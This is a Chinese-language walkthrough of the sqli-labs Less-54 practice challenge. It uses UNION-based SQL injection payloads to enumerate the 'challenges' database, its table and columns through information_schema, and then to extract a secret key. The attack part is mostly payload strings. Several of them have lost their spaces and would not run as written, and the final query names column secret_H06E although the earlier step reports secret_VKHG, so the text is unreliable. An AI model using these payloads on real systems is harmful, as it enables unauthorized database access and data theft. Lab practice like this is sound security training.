sqli-labs-Less-54

SQLI-LAPS 实验记录

Less-54

从这一关开始，就是第四阶段的sql注入挑战了，我们从第一个页面当中发现，有一大段提示信息，告诉我们从这里开始，数据库更换为challenges，而不是之前一直使用的security，且有了尝试的次数限制，即每十次会更新一下系统，让我们之前所做的努力全部白费，因此这一关我们要珍惜尝试的次数，让每一次尝试都具有他的价值。

根据之前的经验，首先我们在命令行中采用‘'’来闭合，使用union select联合查询命令：

?id=-1'unionselect1,2,3--+

结果如图所示，说明这种方式有效，能够爆出具体数据。

接下来，我们继续使用该语句来进行注入，爆出数据库名、表名、列名等，语句如下：

• 查询库名：

?id=-1'unionselect1,database(),3--+

查询结果为challenges。

• 查询表名：

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+

查询结果为LHWT8D4CQ9。

• 查询列名：

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='LHWT8D4CQ9'),3--+

查询结果为id,sessid,secret_VKHG,tryy。

• 查询秘钥：

?id=-1'unionselect1,(selectconcat(secret_H06E)fromchallenges.LHWT8D4CQ9where(id=1)),3--+

之后，将查询出的密钥输入页面下方的对话框中，就可以看到成功信息了。